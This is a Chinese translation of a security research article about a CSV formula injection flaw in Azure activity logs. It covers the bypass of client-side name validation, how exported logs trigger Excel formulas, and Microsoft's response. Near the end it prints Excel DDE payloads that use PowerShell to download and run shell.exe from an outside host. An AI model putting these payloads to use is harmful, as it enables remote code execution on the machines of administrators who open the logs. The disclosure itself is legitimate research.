雲安全風險(一):Azure CSV注入漏洞
雲安全和Azure
雖然微軟Azure雲平台中集成的安全功能,但云平台中仍然存在安全漏洞和誤配置信息,這都可讓用戶處於威脅中。雲安全風險的目標是在主要的雲安全服務商中找出漏洞和攻擊向量。本文介紹了Azure平台的CSV公式注入漏洞和帶來的問題和影響。
漏洞總結
Azure用戶可以嘗試創建惡意名的Azure資源組,但是不能成功創建。當把該名設置為EXCEL公式時,系統會拒絕該語句,但仍會將原來的字元串寫入activity log(活動日誌)中。當受害者用戶下載被感染的CSV日誌,並在Excel中打開,攻擊者的遠程代碼就會執行,然後就可以黑掉用戶的Azure賬戶。這些活動日誌集合可以讓低許可權的用戶攻擊目標系統的管理用戶。
背景:CSV公式注入
CSV公式注入是一種會造成巨大影響的攻擊向量。攻擊包含向惡意的EXCEL公式中注入可以輸出或以CSV文件讀取的參數。當Excel不是唯一可以讀取CSV文件的應用時,需要設置將Excel設置為默認應用。
當在Excel中打開CSV文件時,文件會從CSV描述轉變為原始的Excel格式,包括Excel提供的所有動態功能。在這個過程中,CSV中的所有Excel公式都會執行。當該函數有合法意圖時,很易被濫用並允許惡意代碼執行。
攻擊描述
需要創建資源組的許可權
首先,利用該漏洞需要有能夠創建資源組的能力。開始插入惡意Excel公式到Azure中前,需要到Resource groups頁,並點擊+add(添加)按鈕。
就會出現另一個Resource groups面板,要求輸入新Resource groups的名和其他描述。因為有客戶端驗證,所以當用戶在輸入框的輸入有攔截字元,就不能繼續。
繞過客戶端過濾
作者使用Burp Suite攔截代理來攔截請求,這樣就可以在發送的name參數中編輯值,就可以繞過客戶端驗證過程。對https://management.azure.com/api/invoke請求消息需要用PUT請求來變更。
Payload必須插入到截圖中高亮的位置,對於「x-ms-path-query」頭的位置,不需要根據payload進行更改。對於發送到body的JSON特性的name中的位置,如果payload含有雙引號,就必須與JSON要求的格式相匹配。
所有的位置必須包含相同的payload,因為有一個檢查的過程來確保URL中的name與body中的name相同。如果body中含有雙引號,最終會被認為是等價的。
公式已經注入到activity log和惡意payload中。
查看Azure Activity Log
Azure文檔中描述了Azure activity log是一種訂閱日誌,提供Azure發生的訂閱級事件的日誌記錄。這些日誌包括PUT,POST, DELETE等所有寫操作的細節,每條日誌記錄含有特定行為的時間、內容和執行人。
有讀許可權的用戶可以輸出這些日誌列表為一個.csv文件,方便日後檢查。
當用戶訪問Azure Activity log時,他們可以看到最近發生的行為列表。乍看一眼,沒有在日誌記錄中找出惡意事件的辦法。研究之後就發現,攻擊行為的類型為Error,name為Update resource group。
當點擊某個特定日誌時,就看以看到下面的信息和JSON格式的詳細信息。
利用:下載/打開CSV
在Azure中下載日誌集非常簡單,可以一鍵下載。
在excel中打開受感染的日誌文件,用戶可以看到兩個單獨的彈出框。彈出框是警告信息,警告用戶不要相信文件的源。但是還有什麼是比原廠商更加可信呢?
公式執行後,會打開一個命令提示符。
實際的攻擊場景
研究人員用一個公式證明了真實的攻擊場景。該公式可以用PowerShell從遠程伺服器下載可執行文件,並在目標用戶的計算機運行。外部的web伺服器是運行在HTTP之上的,可以自動重定向到惡意.exe文件,因為Azure的向前和向後的斜線破壞了該漏洞。
JSON Payload (escaped quotes) =shell|』Invoke-WebRequest 」csv.webmail-servers.com」 -OutFile 」shell.exe」; Start-Process 」shell.exe」『!』A1』 URL Payload (non-escaped quotes) =shell|』Invoke-WebRequest 「csv.webmail-servers.com」 -OutFile 「shell.exe」; Start-Process 「shell.exe」『!』A1』
攻擊視頻
https://www.youtube.com/embed/lUw-jh3P0pc
廠商補丁
經過與Microsoft的溝通,貌似Microsoft並沒有修復該問題的想法。經過第三次溝通,研究人員又驗證了該漏洞,並發現了一些不同,在下載的CSV文件後添加了.txt後綴,文件是格式就變成了txt而不是CSV。文件的內容並沒有變,當把文件後綴txt變為CSV後,仍然可以在Excel中執行代碼。
結論
CSV公式注入是雲環境中非常常見的問題之一。當在用戶責任、日誌真實性、平台安全性等問題上有一個折衷時,雲平台的安全風險就不足為奇了。
本文是雲安全威脅系統的第一篇,之後會繼續更新。
本文翻譯自:https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/ ,如若轉載,請註明原文地址: http://www.4hou.com/vulnerable/10140.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※安全獨白 甲方視角下的威脅情報服務
※【無線安全】解決和排除無線網路連接故障的若干方法
※中國信息安全現狀如何?
※ZoomEye 的網站指紋是什麼概念,如何應用?
TAG:信息安全 |